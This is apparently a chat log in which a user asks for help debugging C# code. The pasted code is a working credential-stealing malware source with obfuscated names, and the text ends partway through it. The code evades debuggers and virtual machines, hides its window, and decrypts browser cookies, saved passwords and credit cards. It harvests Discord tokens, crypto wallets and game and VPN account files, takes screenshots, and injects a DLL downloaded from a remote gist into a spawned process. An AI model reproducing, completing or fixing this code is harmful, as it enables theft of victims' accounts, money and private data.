# C# Code Debugging

#### You:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Text.Json;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Microsoft.Data.Sqlite;
using Microsoft.Win32;
using static System.Environment;

namespace X1y2Z3
{
    class W4x5Y6
    {
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("kernel32.dll")]
        static extern bool FreeConsole();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        [DllImport("kernel32.dll")]
        static extern bool IsDebuggerPresent();

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        static readonly object LogLock = new object();
        static string LogPath => Path.Combine(
            Path.GetDirectoryName(Environment.ProcessPath) ?? AppContext.BaseDirectory.TrimEnd('\\', '/'),
            "log.txt");

        static void Log(string message)
        {
            try
            {
                var line = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff}] {message}{Environment.NewLine}";
                lock (LogLock)
                    File.AppendAllText(LogPath, line, Encoding.UTF8);
            }
            catch { }
        }

        static void LogEx(string context, Exception ex) =>
            Log($"{context}: {ex.GetType().Name}: {ex.Message}");

        static bool TryCopyUnlocked(string source, string dest)
        {
            try
            {
                using var input = new FileStream(source, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
                using var output = new FileStream(dest, FileMode.Create, FileAccess.Write, FileShare.None);
                input.CopyTo(output);
                return true;
            }
            catch
            {
                try
                {
                    File.Copy(source, dest, true);
                    return true;
                }
                catch { return false; }
            }
        }

        static string PrepareSqliteCopy(string dbPath)
        {
            string tmp = Path.Combine(Path.GetTempPath(), $"sqlite_{Guid.NewGuid():N}{Path.GetExtension(dbPath)}");
            if (!TryCopyUnlocked(dbPath, tmp))
                throw new IOException($"Cannot copy database: {dbPath}");
            foreach (string suffix in new[] { "-wal", "-shm", "-journal" })
            {
                string sidecar = dbPath + suffix;
                if (File.Exists(sidecar))
                    TryCopyUnlocked(sidecar, tmp + suffix);
            }
            return tmp;
        }

        static void CleanupSqliteCopy(string tmp)
        {
            foreach (string path in new[] { tmp, tmp + "-wal", tmp + "-shm", tmp + "-journal" })
            {
                try { if (File.Exists(path)) File.Delete(path); } catch { }
            }
        }

        static readonly string[] BrowserProcessNames = { "chrome", "msedge", "brave" };
        static readonly string[] DiscordProcessNames = { "Discord", "DiscordCanary", "DiscordPTB" };

        static void KillDiscordProcesses()
        {
            int killed = 0;
            foreach (var proc in Process.GetProcesses())
            {
                try
                {
                    if (!DiscordProcessNames.Contains(proc.ProcessName, StringComparer.OrdinalIgnoreCase))
                        continue;
                    proc.Kill(entireProcessTree: true);
                    if (!proc.WaitForExit(8000))
                        proc.Kill(entireProcessTree: true);
                    killed++;
                }
                catch { }
                finally
                {
                    try { proc.Dispose(); } catch { }
                }
            }
            if (killed > 0)
            {
                Log($"Closed {killed} Discord process(es), waiting for file locks...");
                Thread.Sleep(2000);
            }
        }

        static void KillBrowserProcesses()
        {
            int killed = 0;
            foreach (var proc in Process.GetProcesses())
            {
                try
                {
                    if (!BrowserProcessNames.Contains(proc.ProcessName, StringComparer.OrdinalIgnoreCase))
                        continue;
                    proc.Kill(entireProcessTree: true);
                    if (!proc.WaitForExit(8000))
                        proc.Kill(entireProcessTree: true);
                    killed++;
                }
                catch { }
                finally
                {
                    try { proc.Dispose(); } catch { }
                }
            }
            if (killed > 0)
            {
                Log($"Closed {killed} browser process(es), waiting for file locks...");
                Thread.Sleep(2000);
            }
            else
                Log("No browser processes were running");
        }

        static void A1b2C3()
        {
            FreeConsole();
            var h = GetConsoleWindow();
            if (h != IntPtr.Zero) ShowWindow(h, 0);
        }

        static bool D4e5F6()
        {
            if (IsDebuggerPresent()) return true;
            int t = Environment.TickCount;
            Sleep(200);
            if (Environment.TickCount - t < 150) return true;
            try
            {
                using (var k = Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS"))
                    if (k?.GetValue("SystemManufacturer")?.ToString().ToLower().Contains("vmware") == true) return true;
                using (var k = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers"))
                    if (k != null) return true;
                if (File.Exists(@"C:\Program Files\VMware\VMware Tools\") ||
                    File.Exists(@"C:\Windows\System32\drivers\vmmouse.sys")) return true;
                if (Environment.ProcessorCount < 2) return true;
                if (new DriveInfo("C").TotalSize < 60L * 1024 * 1024 * 1024) return true;
            }
            catch { }
            return false;
        }

        static async Task<Dictionary<string, string>> G7h8I9()
        {
            string j0k1L2 = "Unknown";
            try
            {
                using var m3n4O5 = new HttpClient();
                j0k1L2 = await m3n4O5.GetStringAsync("https://api.ipify.org").ConfigureAwait(false);
            }
            catch { try { j0k1L2 = await new HttpClient().GetStringAsync("https://icanhazip.com").ConfigureAwait(false); } catch { } }
            return new Dictionary<string, string>
            {
                ["username"] = Environment.UserName,
                ["hostname"] = Environment.MachineName,
                ["ip"] = j0k1L2,
                ["system"] = Environment.OSVersion.Platform.ToString(),
                ["release"] = Environment.OSVersion.VersionString,
                ["timestamp"] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")
            };
        }

        static readonly Regex EncryptedDiscordTokenRe = new Regex(@"dQw4w9WgXcQ:([^""\\\s]+)", RegexOptions.Compiled);
        static readonly Regex PlainDiscordTokenRe = new Regex(@"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", RegexOptions.Compiled);
        static readonly Regex MfaDiscordTokenRe = new Regex(@"mfa\.[\w-]{20,}\.[\w-]{6,}\.[\w-]{27,}", RegexOptions.Compiled);

        static IEnumerable<string> DiscordTokenSearchRoots()
        {
            string local = GetFolderPath(SpecialFolder.LocalApplicationData);
            string roaming = GetFolderPath(SpecialFolder.ApplicationData);
            string[] roots =
            {
                Path.Combine(roaming, "discord"),
                Path.Combine(roaming, "discordcanary"),
                Path.Combine(roaming, "discordptb"),
                Path.Combine(roaming, "Lightcord"),
                Path.Combine(roaming, "Opera Software", "Opera Stable"),
                Path.Combine(roaming, "Opera Software", "Opera GX Stable"),
                Path.Combine(local, "Amigo", "User Data"),
                Path.Combine(local, "Torch", "User Data"),
                Path.Combine(local, "Kometa", "User Data"),
                Path.Combine(local, "Orbitum", "User Data"),
                Path.Combine(local, "CentBrowser", "User Data"),
                Path.Combine(local, "7Star", "7Star", "User Data"),
                Path.Combine(local, "Sputnik", "Sputnik", "User Data"),
                Path.Combine(local, "Vivaldi", "User Data", "Default"),
                Path.Combine(local, "Google", "Chrome SxS", "User Data"),
                Path.Combine(local, "Google", "Chrome", "User Data", "Default"),
                Path.Combine(local, "Epic Privacy Browser", "User Data"),
                Path.Combine(local, "Microsoft", "Edge", "User Data", "Default"),
                Path.Combine(local, "uCozMedia", "Uran", "User Data", "Default"),
                Path.Combine(local, "Yandex", "YandexBrowser", "User Data", "Default"),
                Path.Combine(local, "BraveSoftware", "Brave-Browser", "User Data", "Default"),
                Path.Combine(local, "Iridium", "User Data", "Default"),
            };
            foreach (string root in roots)
            {
                if (Directory.Exists(root))
                    yield return root;
            }
        }

        static bool TryGetChromiumMasterKey(string userDataRoot, out byte[] key)
        {
            key = null;
            try
            {
                string localStatePath = Path.Combine(userDataRoot, "Local State");
                if (!File.Exists(localStatePath))
                    return false;
                using var doc = JsonDocument.Parse(File.ReadAllText(localStatePath));
                if (!doc.RootElement.TryGetProperty("os_crypt", out var osCrypt))
                    return false;
                if (!osCrypt.TryGetProperty("encrypted_key", out var encProp))
                    return false;
                byte[] raw = Convert.FromBase64String(encProp.GetString());
                if (raw.Length <= 5)
                    return false;
                key = ProtectedData.Unprotect(raw.AsSpan(5).ToArray(), null, DataProtectionScope.CurrentUser);
                return key != null && key.Length > 0;
            }
            catch
            {
                return false;
            }
        }

        static string DecryptChromiumV10Secret(byte[] masterKey, byte[] encrypted)
        {
            try
            {
                if (masterKey == null || encrypted == null || encrypted.Length < 31)
                    return null;
                if (encrypted[0] != 'v' || encrypted[1] != '1' || encrypted[2] != '0')
                    return null;
                byte[] iv = encrypted.AsSpan(3, 12).ToArray();
                ReadOnlySpan<byte> rest = encrypted.AsSpan(15);
                if (rest.Length < 16)
                    return null;
                int cipherLen = rest.Length - 16;
                byte[] ciphertext = rest.Slice(0, cipherLen).ToArray();
                byte[] tag = rest.Slice(cipherLen, 16).ToArray();
                byte[] plain = new byte[cipherLen];
                using var aes = new AesGcm(masterKey, 16);
                aes.Decrypt(iv, ciphertext, tag, plain);
                return Encoding.UTF8.GetString(plain);
            }
            catch
            {
                return null;
            }
        }

        static string ReadLevelDbFileLossy(string path)
        {
            using var fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
            byte[] bytes = new byte[fs.Length];
            int read = 0;
            while (read < bytes.Length)
                read += fs.Read(bytes, read, bytes.Length - read);
            return Encoding.Latin1.GetString(bytes);
        }

        static IEnumerable<string> EnumerateLevelDbLines(string levelDbDir)
        {
            IEnumerable<string> files;
            try
            {
                files = Directory.EnumerateFiles(levelDbDir)
                    .Where(f =>
                    {
                        string ext = Path.GetExtension(f);
                        return ext.Equals(".log", StringComparison.OrdinalIgnoreCase)
                            || ext.Equals(".ldb", StringComparison.OrdinalIgnoreCase);
                    });
            }
            catch
            {
                yield break;
            }
            foreach (string file in files)
            {
                string content;
                try
                {
                    content = ReadLevelDbFileLossy(file);
                }
                catch
                {
                    continue;
                }
                foreach (string line in content.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries))
                    yield return line;
            }
        }

        static async Task<List<string>> P6q7R8()
        {
            KillDiscordProcesses();
            var s9t0U1 = new HashSet<string>(StringComparer.Ordinal);
            int rootsScanned = 0;
            foreach (string root in DiscordTokenSearchRoots())
            {
                string levelDb = Path.Combine(root, "Local Storage", "leveldb");
                if (!Directory.Exists(levelDb))
                    continue;
                rootsScanned++;
                TryGetChromiumMasterKey(root, out byte[] masterKey);
                foreach (string line in EnumerateLevelDbLines(levelDb))
                {
                    foreach (Match enc in EncryptedDiscordTokenRe.Matches(line))
                    {
                        string blob = enc.Groups[1].Value.TrimEnd('\\');
                        if (masterKey == null)
                            continue;
                        try
                        {
                            byte[] cipher = Convert.FromBase64String(blob);
                            string dec = DecryptChromiumV10Secret(masterKey, cipher);
                            if (!string.IsNullOrEmpty(dec) && await W9x0Y1(dec).ConfigureAwait(false))
                                s9t0U1.Add(dec);
                        }
                        catch { }
                    }
                    foreach (Match plain in PlainDiscordTokenRe.Matches(line))
                    {
                        if (await W9x0Y1(plain.Value).ConfigureAwait(false))
                            s9t0U1.Add(plain.Value);
                    }
                    foreach (Match mfa in MfaDiscordTokenRe.Matches(line))
                    {
                        if (await W9x0Y1(mfa.Value).ConfigureAwait(false))
                            s9t0U1.Add(mfa.Value);
                    }
                }
            }
            Log($"Discord scan: {rootsScanned} leveldb folder(s), {s9t0U1.Count} valid token(s)");
            return s9t0U1.ToList();
        }

        static async Task<bool> W9x0Y1(string Z2a3B4)
        {
            try
            {
                using var C5d6E7 = new HttpClient { Timeout = TimeSpan.FromSeconds(12) };
                C5d6E7.DefaultRequestHeaders.TryAddWithoutValidation("Authorization", Z2a3B4);
                var F8g9H0 = await C5d6E7.GetAsync("https://discord.com/api/v9/users/@me").ConfigureAwait(false);
                return F8g9H0.IsSuccessStatusCode;
            }
            catch { return false; }
        }

        static async Task<Dictionary<string, object>> I1j2K3(string L4m5N6)
        {
            try
            {
                using var O7p8Q9 = new HttpClient { Timeout = TimeSpan.FromSeconds(12) };
                O7p8Q9.DefaultRequestHeaders.TryAddWithoutValidation("Authorization", L4m5N6);
                var R0s1T2 = await O7p8Q9.GetAsync("https://discord.com/api/v9/users/@me").ConfigureAwait(false);
                if (R0s1T2.IsSuccessStatusCode)
                {
                    string U3v4W5 = await R0s1T2.Content.ReadAsStringAsync().ConfigureAwait(false);
                    return JsonSerializer.Deserialize<Dictionary<string, object>>(U3v4W5);
                }
            }
            catch { }
            return null;
        }

        const string X6y7Z8 = "https://gist.githubusercontent.com/buisnessdonut-coder/8a50eefbc76910bd514dc7395723f7ef/raw/1a658d782bad3292da336a64d690be70a48d7bf7/gistfile1.txt";
        static byte[] A9b0C1()
        {
            using var D2e3F4 = new HttpClient();
            D2e3F4.Timeout = TimeSpan.FromSeconds(15);
            var G5h6I7 = D2e3F4.GetAsync(X6y7Z8).GetAwaiter().GetResult();
            G5h6I7.EnsureSuccessStatusCode();
            string J8k9L0 = G5h6I7.Content.ReadAsStringAsync().GetAwaiter().GetResult().Replace("\n", "").Replace("\r", "");
            return Convert.FromBase64String(J8k9L0);
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CloseHandle(IntPtr hObject);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; }
        [StructLayout(LayoutKind.Sequential)]
        struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
        [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
        static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

        const uint M1n2O3 = 0x00000004, P4q5R6 = 0x00001000, S7t8U9 = 0x00002000, V0w1X2 = 0x04, Y3z4A5 = 0x20;
        const uint B6c7D8 = 0x00000003, E9f0G1 = 0x00000000, H2i3J4 = 0x00000000, K5l6M7 = 0x00000000;

        static string N8o9P0(string Q0r1S2)
        {
            string T2u3V4 = Path.Combine(Q0r1S2, "Local State");
            var W4x5Y6 = JsonSerializer.Deserialize<Dictionary<string, object>>(File.ReadAllText(T2u3V4));
            var Z6a7B8 = (JsonElement)W4x5Y6["os_crypt"];
            return Z6a7B8.GetProperty("app_bound_encrypted_key").GetString();
        }

        static byte[] C9d0E1(string F1g2H3) => Enumerable.Range(0, F1g2H3.Length / 2).Select(x => Convert.ToByte(F1g2H3.Substring(x * 2, 2), 16)).ToArray();

        static string I4j5K6(uint L7m8N9)
        {
            uint O9p0Q1(uint R1s2T3, int U4v5W6) => (R1s2T3 << U4v5W6) | (R1s2T3 >> (32 - U4v5W6));
            uint X7y8Z9 = 0xA5A5A5A5, A0b1C2 = 0x3C6EF372, D3e4F5 = 0x1BF5A7E1, G6h7I8 = 0x9E3779B9;
            uint J9k0L1 = O9p0Q1(L7m8N9 ^ X7y8Z9, 5), M2n3O4 = O9p0Q1(L7m8N9 ^ A0b1C2, 11);
            uint P5q6R7 = O9p0Q1(L7m8N9 ^ D3e4F5, 17), S8t9U0 = O9p0Q1(L7m8N9 ^ G6h7I8, 23);
            return $"{J9k0L1:X8}{M2n3O4:X8}{P5q6R7:X8}{S8t9U0:X8}";
        }

        static byte[] V1w2X3(string Y3z4A5, string J0k1L2)
        {
            var E8f9G0 = new STARTUPINFO();
            E8f9G0.cb = Marshal.SizeOf(E8f9G0);
            if (!CreateProcessW(Y3z4A5, null, IntPtr.Zero, IntPtr.Zero, false, M1n2O3,
                IntPtr.Zero, null, ref E8f9G0, out PROCESS_INFORMATION H0i1J2))
                throw new Exception();
            try
            {
                uint K2l3M4 = H0i1J2.dwProcessId;
                string N5o6P7 = $@"\\.\pipe\{I4j5K6(K2l3M4)}";
                IntPtr Q8r9S0 = CreateNamedPipe(N5o6P7, B6c7D8, E9f0G1 | H2i3J4 | K5l6M7, 1, 65536, 65536, 0, IntPtr.Zero);
                if (Q8r9S0 == IntPtr.Zero) throw new Exception();
                byte[] T0u1V2 = A9b0C1();
                string W3x4Y5 = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".dll");
                try
                {
                    File.WriteAllBytes(W3x4Y5, T0u1V2);
                    IntPtr Z6a7B8 = VirtualAllocEx(H0i1J2.hProcess, IntPtr.Zero, (uint)W3x4Y5.Length + 1, P4q5R6 | S7t8U9, V0w1X2);
                    WriteProcessMemory(H0i1J2.hProcess, Z6a7B8, Encoding.ASCII.GetBytes(W3x4Y5), (uint)W3x4Y5.Length + 1, out _);
                    IntPtr L4m5N6 = GetModuleHandle("kernel32.dll");
                    IntPtr F1g2H3 = GetProcAddress(L4m5N6, "LoadLibraryA");
                    CreateRemoteThread(H0i1J2.hProcess, IntPtr.Zero, 0, F1g2H3, Z6a7B8, 0, IntPtr.Zero);
                    ConnectNamedPipe(Q8r9S0, IntPtr.Zero);
                    string encryptedKeyB64 = N8o9P0(J0k1L2);
                    byte[] encryptedKey = Convert.FromBase64String(encryptedKeyB64).Skip(4).ToArray();
                    byte[] lenBytes = BitConverter.GetBytes(encryptedKey.Length);
                    WriteFile(Q8r9S0, lenBytes, (uint)lenBytes.Length, out _, IntPtr.Zero);
                    WriteFile(Q8r9S0, encryptedKey, (uint)encryptedKey.Length, out _, IntPtr.Zero);
                    byte[] buffer = new byte[1024];
                    ReadFile(Q8r9S0, buffer, 1024, out uint bytesRead, IntPtr.Zero);
                    string hexKey = Encoding.ASCII.GetString(buffer, 0, (int)bytesRead).Trim();
                    return C9d0E1(hexKey);
                }
                finally
                {
                    try { if (File.Exists(W3x4Y5)) File.Delete(W3x4Y5); } catch { }
                }
            }
            finally
            {
                TerminateProcess(H0i1J2.hProcess, 0);
                CloseHandle(H0i1J2.hProcess);
                CloseHandle(H0i1J2.hThread);
            }
        }

        static byte[] A0b1C2(byte[] D3e4F5, byte[] G6h7I8)
        {
            if (G6h7I8.Length < 3) return null;
            if (G6h7I8[0] == 'v' && G6h7I8[1] == '2' && G6h7I8[2] == '0')
            {
                const int J9k0L1 = 12, M2n3O4 = 16;
                if (G6h7I8.Length < 3 + J9k0L1 + M2n3O4) return null;
                byte[] iv = G6h7I8.Skip(3).Take(J9k0L1).ToArray();
                byte[] tag = G6h7I8.Skip(G6h7I8.Length - M2n3O4).ToArray();
                byte[] ciphertext = G6h7I8.Skip(3 + J9k0L1).Take(G6h7I8.Length - (3 + J9k0L1 + M2n3O4)).ToArray();
                using var aes = new AesGcm(D3e4F5, M2n3O4);
                byte[] plain = new byte[ciphertext.Length];
                aes.Decrypt(iv, ciphertext, tag, plain);
                return plain;
            }
            else if (G6h7I8[0] == 'v' && G6h7I8[1] == '1' && G6h7I8[2] == '0')
                return ProtectedData.Unprotect(G6h7I8.Skip(3).ToArray(), null, DataProtectionScope.CurrentUser);
            return null;
        }

        static async Task<List<Dictionary<string, object>>> E8f9G0(string dbPath, byte[] key, string browser, string profile)
        {
            var cookies = new List<Dictionary<string, object>>();
            string tmp = PrepareSqliteCopy(dbPath);
            try
            {
                using var conn = new SqliteConnection($"Data Source={tmp};Mode=ReadOnly");
                conn.Open();
                var cmd = conn.CreateCommand();
                cmd.CommandText = "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure FROM cookies";
                using var rdr = cmd.ExecuteReader();
                while (rdr.Read())
                {
                    byte[] enc = rdr.GetFieldValue<byte[]>(2);
                    if (enc == null || enc.Length == 0) continue;
                    byte[] plain = A0b1C2(key, enc);
                    if (plain == null || plain.Length <= 32) continue;
                    string value = Encoding.UTF8.GetString(plain.Skip(32).ToArray());
                    string host = rdr.GetString(0);
                    string name = rdr.GetString(1);
                    string path = rdr.GetString(3);
                    long exp = rdr.GetInt64(4);
                    int secure = rdr.GetInt32(5);
                    long expSec = exp == 0 ? 1893456000 : (exp / 1000000 - 11644473600);
                    string netscape = $"{host}\tTRUE\t{path}\t{(secure == 1 ? "TRUE" : "FALSE")}\t{expSec}\t{name}\t{value}";
                    cookies.Add(new Dictionary<string, object>
                    {
                        ["browser"] = browser,
                        ["profile"] = profile,
                        ["host"] = host,
                        ["name"] = name,
                        ["value"] = value,
                        ["path"] = path,
                        ["expires"] = expSec,
                        ["secure"] = secure == 1,
                        ["netscape_line"] = netscape
                    });
                }
            }
            finally
            {
                CleanupSqliteCopy(tmp);
            }
            return cookies;
        }

        static async Task<List<Dictionary<string, object>>> M2n3O4(string dbPath, byte[] key, string browser, string profile)
        {
            var passwords = new List<Dictionary<string, object>>();
            string tmp = PrepareSqliteCopy(dbPath);
            try
            {
                using var conn = new SqliteConnection($"Data Source={tmp};Mode=ReadOnly");
                conn.Open();
                var cmd = conn.CreateCommand();
                cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins";
                using var rdr = cmd.ExecuteReader();
                while (rdr.Read())
                {
                    string url = rdr.GetString(0);
                    string user = rdr.GetString(1);
                    byte[] enc = rdr.GetFieldValue<byte[]>(2);
                    if (enc == null || enc.Length == 0) continue;
                    byte[] plain = A0b1C2(key, enc);
                    if (plain == null) continue;
                    string pwd = Encoding.UTF8.GetString(plain);
                    passwords.Add(new Dictionary<string, object>
                    {
                        ["browser"] = browser,
                        ["profile"] = profile,
                        ["url"] = url,
                        ["username"] = user,
                        ["password"] = pwd
                    });
                }
            }
            finally
            {
                CleanupSqliteCopy(tmp);
            }
            return passwords;
        }

        static async Task<List<Dictionary<string, object>>> F1g2H3(string dbPath, byte[] key, string browser, string profile)
        {
            var cards = new List<Dictionary<string, object>>();
            string tmp = PrepareSqliteCopy(dbPath);
            try
            {
                using var conn = new SqliteConnection($"Data Source={tmp};Mode=ReadOnly");
                conn.Open();
                var cmd = conn.CreateCommand();
                cmd.CommandText = "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards";
                using var rdr = cmd.ExecuteReader();
                while (rdr.Read())
                {
                    string name = rdr.IsDBNull(0) ? "Unknown" : rdr.GetString(0);
                    int month = rdr.GetInt32(1);
                    int year = rdr.GetInt32(2);
                    byte[] enc = rdr.GetFieldValue<byte[]>(3);
                    if (enc == null || enc.Length == 0) continue;
                    byte[] plain = A0b1C2(key, enc);
                    if (plain == null) continue;
                    string cardNum = Encoding.UTF8.GetString(plain);
                    string clean = Regex.Replace(cardNum, @"\D", "");
                    cards.Add(new Dictionary<string, object>
                    {
                        ["browser"] = browser,
                        ["profile"] = profile,
                        ["name"] = name,
                        ["card"] = clean,
                        ["expires"] = $"{month}/{year}"
                    });
                }
            }
            finally
            {
                CleanupSqliteCopy(tmp);
            }
            return cards;
        }

        static List<string> Z6a7B8()
        {
            var files = new List<string>();
            string[] roots = { GetFolderPath(SpecialFolder.ProgramFilesX86), GetFolderPath(SpecialFolder.ProgramFiles), GetFolderPath(SpecialFolder.LocalApplicationData) };
            foreach (var root in roots)
            {
                string steam = Path.Combine(root, "Steam");
                if (!Directory.Exists(steam)) continue;
                files.AddRange(Directory.GetFiles(steam, "ssfn*", SearchOption.AllDirectories));
                string config = Path.Combine(steam, "config");
                if (Directory.Exists(config)) files.AddRange(Directory.GetFiles(config, "*.vdf"));
            }
            return files.Distinct().ToList();
        }

        static Dictionary<string, List<string>> W3x4Y5()
        {
            var wallets = new Dictionary<string, List<string>>();
            string appData = GetFolderPath(SpecialFolder.ApplicationData);
            string localApp = GetFolderPath(SpecialFolder.LocalApplicationData);
            void add(string name, string path)
            {
                if (Directory.Exists(path))
                    wallets[name] = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories)
                        .Where(f => f.EndsWith(".json") || f.EndsWith(".dat") || f.EndsWith(".wallet") || f.Contains("key") || f.Contains("seed")).ToList();
            }
            add("MetaMask", Path.Combine(localApp, "Google\\Chrome\\User Data\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"));
            add("Exodus", Path.Combine(appData, "Exodus"));
            add("Electrum", Path.Combine(appData, "Electrum", "wallets"));
            add("AtomicWallet", Path.Combine(appData, "atomic"));
            add("LedgerLive", Path.Combine(appData, "Ledger Live"));
            return wallets;
        }

        static List<string> R1s2T3()
        {
            string roblox = Path.Combine(GetFolderPath(SpecialFolder.LocalApplicationData), "Roblox");
            if (!Directory.Exists(roblox)) return new List<string>();
            return Directory.GetFiles(roblox, "*.*", SearchOption.AllDirectories)
                .Where(f => f.IndexOf("cookie", StringComparison.OrdinalIgnoreCase) >= 0 ||
                            f.IndexOf("auth", StringComparison.OrdinalIgnoreCase) >= 0 ||
                            f.IndexOf("token", StringComparison.OrdinalIgnoreCase) >= 0).ToList();
        }

        static List<string> X7y8Z9()
        {
            string tdata = Path.Combine(GetFolderPath(SpecialFolder.ApplicationData), "Telegram Desktop", "tdata");
            if (Directory.Exists(tdata))
                return Directory.GetFiles(tdata, "*.*", SearchOption.AllDirectories)
                    .Where(f => f.IndexOf("key", StringComparison.OrdinalIgnoreCase) >= 0 ||
                                f.IndexOf("map", StringComparison.OrdinalIgnoreCase) >= 0 ||
                                f.IndexOf("dbs", StringComparison.OrdinalIgnoreCase) >= 0).ToList();
            return new List<string>();
        }

        static List<string> D3e4F5()
        {
            var shots = new List<string>();
            try
            {
                string path = Path.Combine(Path.GetTempPath(), $"mon_{DateTime.Now:yyyyMMddHHmmss}.png");
                var bounds = Screen.PrimaryScreen.Bounds;
                using var bmp = new Bitmap(bounds.Width, bounds.Height);
                using var g = Graphics.FromImage(bmp);
                g.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bmp.Size);
                bmp.Save(path, ImageFormat.Png);
                shots.Add(path);
            }
            catch { }
            return shots;
        }

        static List<string> S8t9U0()
        {
            string mc = Path.Combine(GetFolderPath(SpecialFolder.ApplicationData), ".minecraft");
            if (!Directory.Exists(mc)) return new List<string>();
            return new[] { "launcher_accounts.json", "launcher_profiles.json", "usercache.json", "options.txt" }
                .Select(f => Path.Combine(mc, f)).Where(File.Exists).ToList();
        }

        static List<string> U4v5W6()
        {
            var files = new List<string>();
            string[] paths = {
                Path.Combine(GetFolderPath(SpecialFolder.ApplicationData), "Mullvad VPN"),
                Path.Combine(GetFolderPath(SpecialFolder.CommonApplicationData), "Mullvad VPN"),
                Path.Combine(GetFolderPath(SpecialFolder.LocalApplicationData), "Mullvad VPN"),
                Path.Combine(GetFolderPath(SpecialFolder.ProgramFiles), "Mullvad VPN", "resources"),
                Path.Combine(GetFolderPath(SpecialFolder.ProgramFilesX86), "Mullvad VPN", "resources")
            };
            foreach (var baseDir in paths)
            {
                if (!Directory.Exists(baseDir)) continue;
                files.AddRange(Directory.GetFiles(baseDir, "*.*", SearchOption.AllDirectories)
                    .Where(f => f.IndexOf("account", StringComparison.OrdinalIgnoreCase) >= 0 ||
                                f.IndexOf("settings", StringComparison.OrdinalIgnoreCase) >= 0 ||
                                f.IndexOf("config", StringComparison.OrdinalIgnoreCase) >= 0 ||
                                f.EndsWith(".ovpn") || f.EndsWith(".key") || f.EndsWith(".cert")));
            }
            return files.Distinct().ToList();
        }

        static List<string> K2l3M4()
        {
            var files = new List<string>();
            string local = GetFolderPath(SpecialFolder.LocalApplicationData);
            string[] paths = {
                Path.Combine(local, "Riot Games", "Riot Client", "Data"),
                Path.Combine(local, "VALORANT", "Saved"),
                Path.Combine(local, "VALORANT", "Saved", "Config"),
                Path.Combine(local, "VALORANT", "Saved", "Logs")
            };
            foreach (var p in paths)
            {
                if (!Directory.Exists(p)) continue;
                files.AddRange(Directory.GetFiles(p, "*.*", SearchOption.AllDirectories)
